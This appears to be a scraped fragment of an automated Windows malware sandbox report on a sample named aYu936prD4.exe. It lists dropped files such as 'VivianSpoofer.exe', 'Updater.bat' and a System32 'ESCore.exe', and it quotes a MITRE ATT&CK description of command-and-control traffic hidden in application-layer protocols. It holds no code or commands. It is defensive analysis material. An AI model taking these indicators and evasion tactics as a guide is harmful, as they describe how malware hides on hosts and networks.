C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aut[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Aut[1].htm

C:\Users\user\Desktop\UpdatePackage.dat

C:\Users\user\Desktop\Updater.bat

C:\Users\user\Desktop\VivianSpoofer.exe (copy)

C:\Windows\System32\ESCore.exe

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
aYu936prD4.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre